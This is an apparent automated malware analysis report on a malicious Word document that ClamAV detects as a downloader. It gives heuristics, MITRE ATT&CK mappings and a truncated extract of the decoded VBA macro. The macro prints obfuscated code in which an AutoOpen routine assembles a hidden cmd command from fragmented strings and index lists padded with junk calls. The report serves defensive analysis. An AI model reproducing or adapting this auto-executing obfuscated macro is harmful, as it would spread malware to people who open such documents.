MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to execute a command using Shell, constructing a complex command string that appears to be designed for privilege escalation or payload execution. The ClamAV detection 'Doc.Downloader.Valyria-7900637-0' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Downloader.Valyria-7900637-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-7900637-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7507 bytes |
SHA-256: aa4dfd32972e6e24cd7ba4f17c4a01b78b9a9b977266cb0daf1073071fa12a7a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "fNnCQobvuoz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
AppActivate CDate(28)
AppActivate LPOBM
AppActivate 330
AppActivate Sin(4840)
AppActivate Sin(35)
AppActivate 488772161
Shell@ CVar("cm") + SnIlhOkpzD + tWSuUMftN + uFdSCSYQRMB + ALAqA + uMHKYqLw + RrqiLjG + NDILT + jSPuWNsPjvQ + DPuRblSswHsi, 858290835 - 858290835
AppActivate 32270307
AppActivate 329890659
AppActivate tcZpP
End Sub
Attribute VB_Name = "iJjBAHmzDa"
Function uFdSCSYQRMB()
On Error Resume Next
AppActivate zSuwjw
AppActivate 2
AppActivate 6
viZSdHpwLT = "d /V/C" + CStr(Chr(jEsOWLEQ + NPrcSEJQuiOktn + 34 + ifQZYzDWDrd + wZQkTCqRrWZ)) + "set " + "ZvLG=X" + "GrRjCX" + "LUIWwIzZN" + "UTWuYS}k" + ".a;D" + "VAmyg" + "2Fc=3hn"
AppActivate CDate(JfsPJ)
AppActivate Tan(rzrQvD / DhDhN / 55169 + CPVOsQ)
AppActivate 2
RQQBtDi = "i7vo@l,O6" + " :$" + "/(e{tKQ" + "x" + "b'E" + "s8dp-B10P" + "f9)+\&&for" + " %0 in (6" + "6,4" + "3,11,5" + "4,2,63,38," + "54," + "45"
AppActivate Oct(71963 / pOvfF + wvXsu - PhIWGP)
AppActivate fMuDUE
LaXAIVMBL = ",45" + ",49," + "51,42," + "72,16,3" + "6,39,54," + "1" + "1," + "67" + ",43,60,4," + "54," + "35,56,49," + "15,5"
AppActivate CByte(824)
AppActivate 3
AppActivate 388
zRfLqE = "4,56,24" + ",18," + "54,60" + ",5,45,4" + "0,54,39,56" + ",26,51" + ",11,57" + ",68,36" + ",61,38,56" + ",5" + "6," + "66,50," + "52,52"
AppActivate SZXOC
AppActivate Cos(LEBzs)
DwGzBwzuXuw = ",2" + "5,2" + "," + "3" + "0" + ",43,42,54"
AppActivate ChrW(31598 - tzAtQi * hNpzkq / YwHuz)
AppActivate Int(969)
AppActivate CByte(79002678)
rGHhbz = ",2," + "63,5" + "4,25," + "63" + ",24"
AppActivate CLng(674)
AppActivate Round(68752 + pKuTj)
uETwWiMa = "," + "35," + "43,30,52,1" + "1,66" + ",67," + "35,43" + ",39,56,54," + "3"
AppActivate Hex(596)
AppActivate Tan(5)
HcQBHZMGo = "9,56,52," + "19,66,4" + "5,43,25" + ",65,63" + ",52,3" + "3,7" + "0,6" + "9" + ",64," + "52,32,28"
AppActivate Sgn(wiuZQR)
AppActivate LhiNp
ADoFjW = ",57" + "," + "30," + "44,38,56,5" + "6,"
AppActivate 31
AppActivate CBool(136543032)
QbMuhzcMK = "66,50,5" + "2,52,25," + "3" + "1" + ",19,30,40" + ",31," + "25,24,3" + "5" + ",4" + "3,"
AppActivate Chr(3529 * FQdbU)
AppActivate 56
PGPpFZCm = "24," + "4,66,52" + ",62,39,3" + "2,2,40" + ",63" + ",3" + "8,52" + ",63"
AppActivate ChrB(uAXXhC)
AppActivate Sin(wEPTp - QRXlfB + 38315 * ZEAZQ)
AppActivate Hex(XjdAkY)
VtSuidd = "," + "11,72,19," + "52,65,52," + "65,54," + "72,25,19" + ",45,56,"
uFdSCSYQRMB = viZSdHpwLT + RQQBtDi + LaXAIVMBL + zRfLqE + DwGzBwzuXuw + rGHhbz + uETwWiMa + HcQBHZMGo + ADoFjW + QbMuhzcMK + PGPpFZCm + VtSuidd
AppActivate CStr(81472 - BnRzm - 46462 / UsvUX)
AppActivate afRHZ
AppActivate Hex(KuNjGz)
End Function
Function ALAqA()
On Error Resume Next
AppActivate Tan(13984 - vGwOj + idtJQ / FzhnGp)
AppActivate CStr(NqfjV)
AppActivate ChrB(6920 - FqMiMm - fwOJlu + RpjiW)
kuihHnkz = "52,58,1,4" + "4,38,56," + "56,66,50," + "52,52,35," + "38,25," + "45"
AppActivate 386
AppActivate Int(4469)
zijXSFrAP = ",4" + "5,54,39,32" + ",5" + "4" + ",2,6" + "0,25,45" + ",45" + ",56,4" + "3,"
AppActivate 2160
AppActivate CBool(7071 / qPjjT / 72867 / wuuGB)
hQQMPPOmw = "19,2,39" + ",2" + "5,30,5" + "4,39,5" + "6,24"
AppActivate Chr(zXKHZ + rzhvrG)
AppActivate Round(1)
AppActivate Oct(jDdhr + BGALlc / SvYhK / UWvzY)
PUnOG = ",3" + "5,43,30" + ",52,4" + "1,43," + "59" + ",1,62," + "70,70,44,3" + "8,56,56," + "66" + ",5" + "0,52" + "," + "52,60,43,6"
AppActivate BncfF
AppActivate qcTUr
OwGVic = "5,31," + "72," + "5" + "4,54,5" + "6,24,65," + "25,39," + "35,54,52,6" + "," + "63,4" + "2,31,1"
ALAqA = kuihHnkz + zijXSFrAP + hQQMPPOmw + PUnOG + OwGVic
AppActivate zWwjZ
AppActivate FDikm
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.